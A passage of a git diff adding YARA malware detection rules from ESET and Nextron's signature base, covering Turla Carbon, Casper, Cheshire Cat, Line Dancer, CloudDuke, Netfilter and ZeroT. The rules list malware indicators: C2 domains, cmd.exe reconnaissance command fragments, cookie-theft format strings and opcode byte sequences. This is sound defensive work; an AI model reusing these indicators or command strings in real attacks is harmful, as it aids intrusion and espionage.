+// and/or other materials provided with the distribution.
+//
+// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+// AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+// IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+// DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
+// FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+// DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
+// CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
+// OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+// OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+//
+import "pe"
+
+rule generic_carbon
+{
+  meta:
+    author      = "ESET Research"
+    date        = "2017-03-30"
+    description = "Turla Carbon malware"
+    reference   = "https://www.welivesecurity.com/2017/03/30/carbon-paper-peering-turlas-second-stage-backdoor/"
+    source = "https://github.com/eset/malware-ioc/"
+    contact = "github@eset.com"
+    license = "BSD 2-Clause"
+
+    id = "efdc0d16-a974-5c00-a401-391d60f3081e"
+  strings:
+    $s1 = "ModStart"
+    $t1 = "STOP|OK"
+    $t2 = "STOP|KILL"
+
+  condition:
+    (uint16(0) == 0x5a4d) and (1 of ($s*)) and (1 of ($t*))
+}
+
+rule carbon_metadata
+{
+  meta:
+    author      = "ESET Research"
+    date        = "2017-03-30"
+    description = "Turla Carbon malware"
+    reference   = "https://www.welivesecurity.com/2017/03/30/carbon-paper-peering-turlas-second-stage-backdoor/"
+    source = "https://github.com/eset/malware-ioc/"
+    contact = "github@eset.com"
+    license = "BSD 2-Clause"
+
+    id = "976b6a7d-00bf-5d0f-baf9-84fc5dbd21a2"
+   condition:
+      (pe.version_info["InternalName"] contains "SERVICE.EXE" or
+       pe.version_info["InternalName"] contains "MSIMGHLP.DLL" or
+       pe.version_info["InternalName"] contains "MSXIML.DLL")
+       and pe.version_info["CompanyName"] contains "Microsoft Corporation"
+}
diff --git a/yara-Neo23x0/apt_casper.yar b/yara-Neo23x0/apt_casper.yar
new file mode 100644
index 0000000..233fc71
--- /dev/null
+++ b/yara-Neo23x0/apt_casper.yar
@@ -0,0 +1,104 @@
+
+/* State-sponsored Casper Malware Rules by @4nc4p - attribution and analysis by @pinkflawd @r00tbsd @circl_lu */
+
+rule Casper_Backdoor_x86 {
+   meta:
+      description = "Casper French Espionage Malware - Win32/ProxyBot.B - x86 Payload http://goo.gl/VRJNLo"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "http://goo.gl/VRJNLo"
+      date = "2015-03-05"
+      modified = "2023-01-27"
+      hash = "f4c39eddef1c7d99283c7303c1835e99d8e498b0"
+      score = 80
+      id = "9e54f00c-74a7-56cc-87e5-8dec1233cbb5"
+   strings:
+      $s1 = "\"svchost.exe\"" fullword wide
+      $s2 = "firefox.exe" fullword ascii
+      $s3 = "\"Host Process for Windows Services\"" fullword wide
+
+      $x1 = "\\Users\\*" ascii
+      $x2 = "\\Roaming\\Mozilla\\Firefox\\Profiles\\*" ascii
+      $x3 = "\\Mozilla\\Firefox\\Profiles\\*" ascii
+      $x4 = "\\Documents and Settings\\*" ascii
+
+      $y1 = "%s; %S=%S" fullword wide
+      $y2 = "%s; %s=%s" fullword ascii
+      $y3 = "Cookie: %s=%s" fullword ascii
+      $y4 = "http://%S:%d" fullword wide
+
+      $z1 = "http://google.com/" ascii
+      $z2 = "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; MALC)" fullword ascii
+      $z3 = "Operating System\"" fullword wide
+   condition:
+      ( filesize < 250KB and all of ($s*) ) or
+      ( 3 of ($x*) and 2 of ($y*) and 2 of ($z*) )
+}
+
+rule Casper_EXE_Dropper {
+	meta:
+		description = "Casper French Espionage Malware - Win32/ProxyBot.B - Dropper http://goo.gl/VRJNLo"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "http://goo.gl/VRJNLo"
+		date = "2015/03/05"
+		hash = "e4cc35792a48123e71a2c7b6aa904006343a157a"
+		score = 80
+		id = "a901d045-6f9b-57e8-8347-6f78178b7231"
+	strings:
+		$s0 = "<Command>" fullword ascii
+		$s1 = "</Command>" fullword ascii
+		$s2 = "\" /d \"" fullword ascii
+		$s4 = "'%s' %s" fullword ascii
+		$s5 = "nKERNEL32.DLL" fullword wide
+		$s6 = "@ReturnValue" fullword wide
+		$s7 = "ID: 0x%x" fullword ascii
+		$s8 = "Name: %S" fullword ascii
+	condition:
+		7 of them
+}
+
+rule Casper_Included_Strings {
+	meta:
+		description = "Casper French Espionage Malware - String Match in File - http://goo.gl/VRJNLo"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "http://goo.gl/VRJNLo"
+		date = "2015/03/06"
+		score = 50
+		id = "34ba474d-0858-534a-8f32-db5a709e8814"
+	strings:
+		$a0 = "cmd.exe /C FOR /L %%i IN (1,1,%d) DO IF EXIST"
+		$a1 = "& SYSTEMINFO) ELSE EXIT"
+
+		$c1 = "domcommon.exe" wide fullword							// File Name
+		$c2 = "jpic.gov.sy" fullword 								// C2 Server
+		$c3 = "aiomgr.exe" wide fullword							// File Name
+		$c4 = "perfaudio.dat" fullword								// Temp File Name
+		$c5 = "Casper_DLL.dll" fullword								// Name
+		$c6 = { 7B 4B 59 DE 37 4A 42 26 59 98 63 C6 2D 0F 57 40 } 	// Decryption Key
+		$c7 = "{4216567A-4512-9825-7745F856}" fullword 				// Mutex
+	condition:
+		all of ($a*) or
+		uint16(0) == 0x5a4d and ( 1 of ($c*) )
+}
+
+rule Casper_SystemInformation_Output {
+	meta:
+		description = "Casper French Espionage Malware - System Info Output - http://goo.gl/VRJNLo"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "http://goo.gl/VRJNLo"
+		date = "2015/03/06"
+		score = 70
+		id = "aaae200c-7ef1-52eb-be5b-36e0ad29ecef"
+	strings:
+		$a0 = "***** SYSTEM INFORMATION ******"
+		$a1 = "***** SECURITY INFORMATION ******"
+		$a2 = "Antivirus: "
+		$a3 = "Firewall: "
+		$a4 = "***** EXECUTION CONTEXT ******"
+		$a5 = "Identity: "
+		$a6 = "<CONFIG TIMESTAMP="
+	condition:
+		all of them
+}
diff --git a/yara-Neo23x0/apt_cheshirecat.yar b/yara-Neo23x0/apt_cheshirecat.yar
new file mode 100644
index 0000000..b0320c0
--- /dev/null
+++ b/yara-Neo23x0/apt_cheshirecat.yar
@@ -0,0 +1,108 @@
+/*
+	Yara Rule Set
+	Author: Florian Roth
+	Date: 2015-08-08
+	Identifier: Cheshire Cat
+	Version: 0.1
+*/
+
+/* Rule Set ----------------------------------------------------------------- */
+
+rule CheshireCat_Sample2 {
+	meta:
+		description = "Auto-generated rule"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "https://malware-research.org/prepare-father-of-stuxnet-news-are-coming/"
+		date = "2015-08-08"
+		score = 70
+		hash = "dc18850d065ff6a8364421a9c8f9dd5fcce6c7567f4881466cee00e5cd0c7aa8"
+		id = "14448138-0af3-5669-8aa3-f9e773e2a008"
+	strings:
+		$s0 = "mpgvwr32.dll" fullword ascii
+		$s1 = "Unexpected failure of wait! (%d)" fullword ascii
+		$s2 = "\"%s\" /e%d /p%s" fullword ascii
+		$s4 = "error in params!" fullword ascii
+		$s5 = "sscanf" fullword ascii
+		$s6 = "<>Param : 0x%x" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and 4 of ($s*)
+}
+
+/* Generic Rules ----------------------------------------------------------- */
+/* Gen1 is more exact than Gen2 - until now I had no FPs with Gen2 */
+
+rule CheshireCat_Gen1 {
+	meta:
+		description = "Auto-generated rule"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "https://malware-research.org/prepare-father-of-stuxnet-news-are-coming/"
+		date = "2015-08-08"
+		super_rule = 1
+		score = 90
+		hash1 = "ec41b029c3ff4147b6a5252cb8b659f851f4538d4af0a574f7e16bc1cd14a300"
+		hash2 = "32159d2a16397823bc882ddd3cd77ecdbabe0fde934e62f297b8ff4d7b89832a"
+		hash3 = "63735d555f219765d486b3d253e39bd316bbcb1c0ec595ea45ddf6e419bef3cb"
+		hash4 = "c074aeef97ce81e8c68b7376b124546cabf40e2cd3aff1719d9daa6c3f780532"
+		id = "2068feed-2101-5b12-9e36-db7b0f5cc4ec"
+	strings:
+		$x1 = "CAPESPN.DLL" fullword wide
+		$x2 = "WINF.DLL" fullword wide
+		$x3 = "NCFG.DLL" fullword wide
+		$x4 = "msgrthlp.dll" fullword wide
+		$x5 = "Local\\{c0d9770c-9841-430d-b6e3-575dac8a8ebf}" fullword ascii
+		$x6 = "Local\\{1ef9f94a-5664-48a6-b6e8-c3748db459b4}" fullword ascii
+
+		$a1 = "Interface\\%s\\info" fullword ascii
+		$a2 = "Interface\\%s\\info\\%s" fullword ascii
+		$a3 = "CLSID\\%s\\info\\%s" fullword ascii
+		$a4 = "CLSID\\%s\\info" fullword ascii
+
+		$b1 = "Windows Shell Icon Handler" fullword wide
+		$b2 = "Microsoft Shell Icon Handler" fullword wide
+
+		$s1 = "\\StringFileInfo\\%s\\FileVersion" ascii
+		$s2 = "CLSID\\%s\\AuxCLSID" fullword ascii
+		$s3 = "lnkfile\\shellex\\IconHandler" fullword ascii
+		$s4 = "%s: %s, %.2hu %s %hu %2.2hu:%2.2hu:%2.2hu GMT" fullword ascii
+		$s5 = "%sMutex" fullword ascii
+		$s6 = "\\ShellIconCache" ascii
+		$s7 = "+6Service Pack " fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 350KB and 7 of ($s*) and 2 of ($a*) and 1 of ($b*) and 1 of ($x*)
+}
+
+rule CheshireCat_Gen2 {
+	meta:
+		description = "Cheshire Cat Malware"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "https://malware-research.org/prepare-father-of-stuxnet-news-are-coming/"
+		date = "2015-08-08"
+		super_rule = 1
+		score = 70
+		hash1 = "ec41b029c3ff4147b6a5252cb8b659f851f4538d4af0a574f7e16bc1cd14a300"
+		hash2 = "32159d2a16397823bc882ddd3cd77ecdbabe0fde934e62f297b8ff4d7b89832a"
+		hash3 = "63735d555f219765d486b3d253e39bd316bbcb1c0ec595ea45ddf6e419bef3cb"
+		hash4 = "c074aeef97ce81e8c68b7376b124546cabf40e2cd3aff1719d9daa6c3f780532"
+		id = "b97b20bd-f6b9-512f-ba99-6c38ba7853be"
+	strings:
+		$a1 = "Interface\\%s\\info" fullword ascii
+		$a2 = "Interface\\%s\\info\\%s" fullword ascii
+		$a3 = "CLSID\\%s\\info\\%s" fullword ascii
+		$a4 = "CLSID\\%s\\info" fullword ascii
+
+		$b1 = "Windows Shell Icon Handler" fullword wide
+		$b2 = "Microsoft Shell Icon Handler" fullword wide
+
+		$s1 = "\\StringFileInfo\\%s\\FileVersion" ascii
+		$s2 = "CLSID\\%s\\AuxCLSID" fullword ascii
+		$s3 = "lnkfile\\shellex\\IconHandler" fullword ascii
+		$s4 = "%s: %s, %.2hu %s %hu %2.2hu:%2.2hu:%2.2hu GMT" fullword ascii
+		$s5 = "%sMutex" fullword ascii
+		$s6 = "\\ShellIconCache" ascii
+		$s7 = "+6Service Pack " fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 200KB and 7 of ($s*) and 2 of ($a*) and 1 of ($b*)
+}
diff --git a/yara-Neo23x0/apt_cisco_asa_line_dancer_apr24.yar b/yara-Neo23x0/apt_cisco_asa_line_dancer_apr24.yar
new file mode 100644
index 0000000..7aecd64
--- /dev/null
+++ b/yara-Neo23x0/apt_cisco_asa_line_dancer_apr24.yar
@@ -0,0 +1,16 @@
+
+rule Line_Dancer {
+   meta:
+      author = "NCSC"
+      description = "Targets code sections of Line Dancer, a shellcode loader targeting Cisco ASA devices."
+      reference = "https://www.ncsc.gov.uk/static-assets/documents/malware-analysis-reports/line/ncsc-tip-line-dancer.pdf"
+      date = "2024-04-24"
+      score = 75
+      id = "3b49a861-8107-577a-bae1-ae28d424cc13"
+   strings:
+      $ = { 48 8D 5E 20 48 8D 3D BB FF FF FF BA 20 00 00 00 }
+      $ = { 4C 89 EE 44 89 F2 48 8D 3D 9A 27 00 00 }
+      $ = { 41 FF D7 41 5F 41 5E 41 5D 41 5C 5B 5D 48 C7 C0 01 00 00 00 5F }
+   condition:
+      all of them
+}
diff --git a/yara-Neo23x0/apt_cloudatlas.yar b/yara-Neo23x0/apt_cloudatlas.yar
new file mode 100644
index 0000000..010180e
--- /dev/null
+++ b/yara-Neo23x0/apt_cloudatlas.yar
@@ -0,0 +1,37 @@
+
+rule APT_MAL_MalDoc_CloudAtlas_Oct20_1 {
+   meta:
+      description = "Detects unknown maldoc dropper noticed in October 2020"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://twitter.com/jfslowik/status/1316050637092651009"
+      date = "2020-10-13"
+      hash1 = "7ba76b2311736dbcd4f2817c40dae78f223366f2404571cd16d6676c7a640d70"
+      id = "e7caf2b2-caf2-5984-a792-8224f2641bda"
+   strings:
+      $x1 = "https://msofficeupdate.org" wide
+   condition:
+      uint16(0) == 0xcfd0 and
+      filesize < 300KB and
+      1 of ($x*)
+}
+
+rule APT_MAL_URL_CloudAtlas_Oct20_2 {
+   meta:
+      description = "Detects unknown maldoc dropper noticed in October 2020 - file morgue6visible5bunny6culvert7ambo5nun1illuminate4.url"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://twitter.com/jfslowik/status/1316050637092651009"
+      date = "2020-10-13"
+      hash1 = "a6a58b614a9f5ffa1d90b5d42e15521f52e2295f02c1c0e5cd9cbfe933303bee"
+      id = "91f6362f-1793-58a3-a750-04ec9812b9df"
+   strings:
+      /* [InternetShortcut]
+         URL=https://msofficeupdate.org/ */
+      $hc1 = { 5B 49 6E 74 65 72 6E 65 74 53 68 6F 72 74 63 75
+               74 5D 0D 0A 55 52 4C 3D 68 74 74 70 73 3A 2F 2F
+               6D 73 6F 66 66 69 63 65 75 70 64 61 74 65 2E 6F
+               72 67 }
+   condition:
+      uint16(0) == 0x495b and
+      filesize < 200 and
+      $hc1 at 0
+}
diff --git a/yara-Neo23x0/apt_cloudduke.yar b/yara-Neo23x0/apt_cloudduke.yar
new file mode 100644
index 0000000..3d34c5d
--- /dev/null
+++ b/yara-Neo23x0/apt_cloudduke.yar
@@ -0,0 +1,61 @@
+/*
+	Yara Rule Set
+	Author: Florian Roth
+	Date: 2015-07-22
+	Identifier: CloudDuke
+*/
+
+/* Rule Set ----------------------------------------------------------------- */
+
+rule CloudDuke_Malware {
+	meta:
+		description = "Detects CloudDuke Malware"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "https://www.f-secure.com/weblog/archives/00002822.html"
+		date = "2015-07-22"
+		score = 60
+		hash1 = "97d8725e39d263ed21856477ed09738755134b5c0d0b9ae86ebb1cdd4cdc18b7"
+		hash2 = "88a40d5b679bccf9641009514b3d18b09e68b609ffaf414574a6eca6536e8b8f"
+		hash3 = "1d4ac97d43fab1d464017abb5d57a6b4601f99eaa93b01443427ef25ae5127f7"
+		hash4 = "ed7abf93963395ce9c9cba83a864acb4ed5b6e57fd9a6153f0248b8ccc4fdb46"
+		hash5 = "ee5eb9d57c3611e91a27bb1fc2d0aaa6bbfa6c69ab16e65e7123c7c49d46f145"
+		hash6 = "a713982d04d2048a575912a5fc37c93091619becd5b21e96f049890435940004"
+		hash7 = "56ac764b81eb216ebed5a5ad38e703805ba3e1ca7d63501ba60a1fb52c7ebb6e"
+		id = "902ef68b-7ed1-5622-b796-4e3bb2388124"
+	strings:
+		$s1 = "ProcDataWrap" fullword ascii
+		$s2 = "imagehlp.dll" fullword ascii
+		$s3 = "dnlibsh" fullword ascii
+		$s4 = "%ws_out%ws" fullword wide
+		$s5 = "Akernel32.dll" fullword wide
+
+		$op0 = { 0f b6 80 68 0e 41 00 0b c8 c1 e1 08 0f b6 c2 8b } /* Opcode */
+		$op1 = { 8b ce e8 f8 01 00 00 85 c0 74 41 83 7d f8 00 0f } /* Opcode */
+		$op2 = { e8 2f a2 ff ff 83 20 00 83 c8 ff 5f 5e 5d c3 55 } /* Opcode */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 720KB and 4 of ($s*) and 1 of ($op*)
+}
+
+/* Super Rules ------------------------------------------------------------- */
+
+rule SFXRAR_Acrotray {
+	meta:
+		description = "Most likely a malicious file acrotray in SFX RAR / CloudDuke APT 5442.1.exe, 5442.2.exe"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "https://www.f-secure.com/weblog/archives/00002822.html"
+		date = "2015-07-22"
+		super_rule = 1
+		score = 70
+		hash1 = "51e713c7247f978f5836133dd0b8f9fb229e6594763adda59951556e1df5ee57"
+		hash2 = "5d695ff02202808805da942e484caa7c1dc68e6d9c3d77dc383cfa0617e61e48"
+		hash3 = "56531cc133e7a760b238aadc5b7a622cd11c835a3e6b78079d825d417fb02198"
+		id = "1566fb75-d3a8-5e22-b05b-3a2f37374f31"
+	strings:
+		$s1 = "winrarsfxmappingfile.tmp" fullword wide /* PEStudio Blacklist: strings */
+		$s2 = "GETPASSWORD1" fullword wide /* PEStudio Blacklist: strings */
+		$s3 = "acrotray.exe" fullword ascii
+		$s4 = "CryptUnprotectMemory failed" fullword wide /* PEStudio Blacklist: strings */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 2449KB and all of them
+}
diff --git a/yara-Neo23x0/apt_cmstar.yar b/yara-Neo23x0/apt_cmstar.yar
new file mode 100644
index 0000000..de4c7e1
--- /dev/null
+++ b/yara-Neo23x0/apt_cmstar.yar
@@ -0,0 +1,31 @@
+/*
+   Yara Rule Set
+   Author: Florian Roth
+   Date: 2017-10-03
+   Identifier: CMStar Threat Actor
+   Reference: https://goo.gl/pTffPA
+*/
+
+/* Rule Set ----------------------------------------------------------------- */
+
+import "pe"
+
+rule CMStar_Malware_Sep17 {
+   meta:
+      description = "Detects CMStar Malware"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://goo.gl/pTffPA"
+      date = "2017-10-03"
+      hash1 = "16697c95db5add6c1c23b2591b9d8eec5ed96074d057b9411f0b57a54af298d5"
+      id = "d6c9cd7f-06ce-5641-b9b2-c81daf18628d"
+   strings:
+      $s1 = "UpdateService.tmp" fullword ascii
+      $s2 = "StateNum:%d,FileSize:%d" fullword ascii
+   condition:
+      uint16(0) == 0x5a4d and filesize < 100KB and (
+         pe.imphash() == "22021985de78a48ea8fb82a2ff9eb693" or
+         pe.exports("WinCred") or
+         all of them
+      )
+}
diff --git a/yara-Neo23x0/apt_cn_netfilter.yar b/yara-Neo23x0/apt_cn_netfilter.yar
new file mode 100644
index 0000000..5ed1b0a
--- /dev/null
+++ b/yara-Neo23x0/apt_cn_netfilter.yar
@@ -0,0 +1,52 @@
+
+/* slightly modified to detect only samples with a size upt to 1 MB */
+
+rule MAL_Netfilter_Dropper_Jun_2021_1 {
+   meta:
+        description = "Detects the dropper of Netfilter rootkit"
+        author = "Arkbird_SOLG"
+        reference = "https://twitter.com/struppigel/status/1405483373280235520"
+        date = "2020-06-18"
+        hash1 = "a5c873085f36f69f29bb8895eb199d42ce86b16da62c56680917149b97e6dac"
+        hash2 = "659e0d1b2405cadfa560fe648cbf6866720dd40bb6f4081d3dce2dffe20595d9"
+        hash3 = "d0a03a8905c4f695843bc4e9f2dd062b8fd7b0b00103236b5187ff3730750540"
+        tlp = "White"
+        adversary = "Chinese APT Group"
+        id = "d91f48aa-9580-572d-a72c-19b80624cdbe"
+   strings:
+        $seq1 = { b8 ff 00 00 00 50 b8 00 00 00 00 50 8d 85 dd fe ff ff 50 e8 ?? 0d 00 00 83 c4 0c b8 00 00 00 00 88 85 dc fd ff ff b8 ff 00 00 00 50 b8 00 00 00 00 50 8d 85 dd fd ff ff 50 e8 ?? 0d 00 00 83 c4 0c b8 00 00 50 00 50 e8 ?? 0d 00 00 83 c4 04 89 85 d8 fd ff ff 8b 85 d8 fd ff ff 89 85 d4 fd ff ff b8 00 00 50 00 50 b8 00 00 00 00 50 8b 85 d8 fd ff ff 50 e8 ?? 0c 00 00 83 c4 0c 8b 45 0c 8b 8d d8 fd ff ff 89 08 b8 3c 00 00 00 50 b8 00 00 00 00 50 8d 85 98 fd ff ff 50 e8 ?? 0c 00 00 83 c4 0c b8 3c 00 00 00 89 85 98 fd ff ff 8d 85 98 fd ff ff 83 c0 10 8d 8d dc fe ff ff 89 08 8d 85 98 fd ff ff 83 c0 14 b9 00 01 00 00 89 08 8d 85 98 fd ff ff 83 c0 2c 8d 8d dc fd ff ff 89 08 8d 85 98 fd ff ff 83 c0 30 b9 00 01 00 00 89 08 b8 0a 31 40 00 50 e8 ?? 0c 00 00 89 85 94 fd ff ff b8 16 31 40 00 50 8b 85 94 fd ff ff 50 e8 ?? 0c 00 00 89 45 fc b8 28 31 40 00 50 8b 85 94 fd ff ff 50 e8 ?? 0c 00 00 89 45 f8 b8 36 31 40 00 50 8b 85 94 fd ff ff 50 e8 [2] 00 00 89 45 f4 b8 47 31 40 00 50 8b 85 94 fd ff ff 50 e8 [2] 00 00 89 45 f0 b8 58 31 40 00 50 8b 85 94 fd ff ff 50 e8 ?? 0b 00 00 89 45 ec b8 69 31 40 00 50 8b 85 94 fd ff ff 50 e8 ?? 0b 00 00 89 45 e8 b8 7a 31 40 00 50 8b 85 94 fd ff ff 50 e8 ?? 0b 00 00 89 45 e4 b8 8e 31 40 00 50 8b 85 94 fd ff ff 50 e8 ?? 0b 00 00 89 45 e0 8b 45 08 50 e8 ?? 0b 00 00 83 c4 04 8d 8d 98 fd ff ff 51 b9 00 00 00 00 51 50 8b 45 08 50 8b 45 fc ff d0 85 }
+        $seq2 =  { b8 00 00 00 00 89 85 90 fd ff ff b8 00 00 00 00 89 85 8c fd ff ff b8 00 00 00 00 89 85 88 fd ff ff b8 00 00 00 00 89 85 84 fd ff ff b8 04 00 00 00 89 85 80 fd ff ff b8 00 00 00 00 88 85 7f f5 ff ff b8 00 08 00 00 50 b8 00 00 00 00 50 8d 85 80 f5 ff ff 50 e8 ?? 0b 00 00 83 c4 0c b8 00 00 00 00 50 b8 00 00 00 00 50 b8 00 00 00 00 50 b8 00 00 00 00 50 b8 9d 31 40 00 50 8b 45 f8 ff d0 89 85 90 fd ff ff 8b 85 }
+        $s1 = "%s\\netfilter.sys" fullword ascii
+        $s2 = "SYSTEM\\CurrentControlSet\\Services\\netfilter" fullword ascii
+        $s3 = "\\\\.\\netfilter" fullword ascii
+   condition:
+        uint16(0) == 0x5a4d 
+        and filesize > 6KB and filesize < 1000KB
+        and (all of ($seq*) or 2 of ($s*))
+}
+
+rule MAL_Netfilter_May_2021_1 {
+   meta:
+        description = "Detects Netfilter rootkit"
+        author = "Arkbird_SOLG"
+        reference = "https://twitter.com/struppigel/status/1405483373280235520"
+        date = "2020-06-18"
+        hash1 = "63d61549030fcf46ff1dc138122580b4364f0fe99e6b068bc6a3d6903656aff0"
+        hash2 = "8249e9c0ac0840a36d9a5b9ff3e217198a2f533159acd4bf3d9b0132cc079870"
+        hash3 = "d64f906376f21677d0585e93dae8b36248f94be7091b01fd1d4381916a326afe"
+        tlp = "White"
+        adversary = "Chinese APT Group"
+        id = "0ac01eb3-435b-52b0-b8e8-ace2ebb34f60"
+   strings:
+        $seq1 = { 48 8b 05 a9 57 ff ff 45 33 c9 49 b8 32 a2 df 2d 99 2b 00 00 48 85 c0 74 05 49 3b c0 75 38 0f 31 48 c1 e2 20 48 8d 0d 85 57 ff ff 48 0b c2 48 33 c1 48 89 05 78 57 ff ff 66 44 89 0d 76 57 ff ff 48 8b 05 69 57 ff ff 48 85 c0 75 0a 49 8b c0 48 89 05 5a 57 ff ff 48 f7 d0 48 89 05 58 57 }
+        $seq2 = { 48 83 ec 38 48 83 64 24 20 00 48 8d 05 83 4c 00 00 48 8d 15 24 d1 00 00 48 89 44 24 28 48 8d 4c 24 20 e8 4d 05 00 00 85 c0 78 16 4c 8d 05 22 d1 00 00 83 ca ff 48 8d 0d 00 d1 00 00 e8 39 05 00 00 48 83 c4 }
+        $seq3 = { 45 33 c0 48 8d 4c 24 40 41 8d 50 01 ff 15 5d 62 00 00 c6 84 24 88 00 00 00 01 48 8d 84 24 88 00 00 00 48 89 46 18 48 8d 0d e2 fe ff ff 48 89 9e c0 00 00 00 48 8d 44 24 40 48 89 46 50 48 8d 44 24 30 48 89 46 48 65 48 8b 04 25 88 01 00 00 48 89 86 98 00 00 00 48 8b 86 b8 00 00 00 40 88 7e 40 c6 40 b8 06 4c 89 78 e0 48 89 58 e8 c7 40 c0 01 00 00 00 c7 40 c8 0d 00 00 00 48 89 58 d0 48 8b 86 b8 00 00 00 48 89 48 f0 48 8d 4c 24 40 48 89 48 f8 c6 40 bb e0 48 8b 43 28 48 85 c0 74 2f 48 8b 48 10 48 85 c9 74 07 48 21 78 10 4c 8b f1 48 8b 08 48 85 c9 74 06 48 21 38 48 8b e9 48 8b 48 08 48 85 c9 74 08 48 83 60 08 00 48 8b f9 48 8b d6 49 8b cf ff 15 74 61 00 00 3d 03 01 00 00 75 19 48 83 64 24 20 00 48 8d 4c 24 40 41 b1 01 45 33 c0 33 d2 ff 15 64 61 00 00 48 8b 43 28 48 85 c0 74 1a 4d }
+        $seq4 = { 8b 84 24 80 00 00 00 48 8d 54 24 38 48 8b 4c 24 30 44 8b ce 89 44 24 28 45 33 c0 48 89 7c 24 20 ff 15 66 2e 00 00 48 8b 4c 24 30 8b d8 ff 15 49 2e 00 00 48 8b 4c 24 30 ff 15 26 2d 00 00 8b }
+        $s1 = "%sc=%s" fullword ascii
+        $s2 = { 25 30 32 78 25 30 32 78 25 30 32 78 25 30 32 78 25 30 32 78 25 30 32 78 25 30 32 78 25 30 32 78 25 30 32 78 25 30 32 78 25 30 32 78 25 30 32 78 25 30 32 78 25 30 32 78 25 30 32 78 25 30 32 78 }
+        $s3 = "NETIO.SYS" fullword ascii
+   condition:
+        uint16(0) == 0x5a4d 
+        and filesize > 20KB and filesize < 1000KB
+        and (3 of ($seq*) or 2 of ($s*))
+}
\ No newline at end of file
diff --git a/yara-Neo23x0/apt_cn_pp_zerot.yar b/yara-Neo23x0/apt_cn_pp_zerot.yar
new file mode 100644
index 0000000..9c6cd8f
--- /dev/null
+++ b/yara-Neo23x0/apt_cn_pp_zerot.yar
@@ -0,0 +1,241 @@
+
+/*
+   Yara Rule Set
+   Author: Florian Roth
+   Date: 2017-02-03
+   Identifier: ZeroT CN APT
+*/
+
+/* Rule Set ----------------------------------------------------------------- */
+
+rule PP_CN_APT_ZeroT_1 {
+   meta:
+      description = "Detects malware from the Proofpoint CN APT ZeroT incident"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://www.proofpoint.com/us/threat-insight/post/APT-targets-russia-belarus-zerot-plugx"
+      date = "2017-02-03"
+      hash1 = "09061c603a32ac99b664f7434febfc8c1f9fd7b6469be289bb130a635a6c47c0"
+      id = "c16f3abb-ac7e-5d5f-b8d7-b105cff3886e"
+   strings:
+      $s1 = "suprise.exe" fullword ascii
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 2000KB and all of them )
+}
+
+rule PP_CN_APT_ZeroT_2 {
+   meta:
+      description = "Detects malware from the Proofpoint CN APT ZeroT incident"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://www.proofpoint.com/us/threat-insight/post/APT-targets-russia-belarus-zerot-plugx"
+      date = "2017-02-03"
+      hash1 = "74eb592ef7f5967b14794acdc916686e061a43169f06e5be4dca70811b9815df"
+      id = "8433216e-1189-568c-bd18-051fb1fec215"
+   strings:
+      $s1 = "NO2-2016101902.exe" fullword ascii
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 2000KB and all of them )
+}
+
+rule PP_CN_APT_ZeroT_3 {
+   meta:
+      description = "Detects malware from the Proofpoint CN APT ZeroT incident"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://www.proofpoint.com/us/threat-insight/post/APT-targets-russia-belarus-zerot-plugx"
+      date = "2017-02-03"
+      hash1 = "ee2e2937128dac91a11e9bf55babc1a8387eb16cebe676142c885b2fc18669b2"
+      id = "99aa29cf-d962-5a3d-bd28-6486c40822bb"
+   strings:
+      $s1 = "/svchost.exe" fullword ascii
+      $s2 = "RasTls.dll" fullword ascii
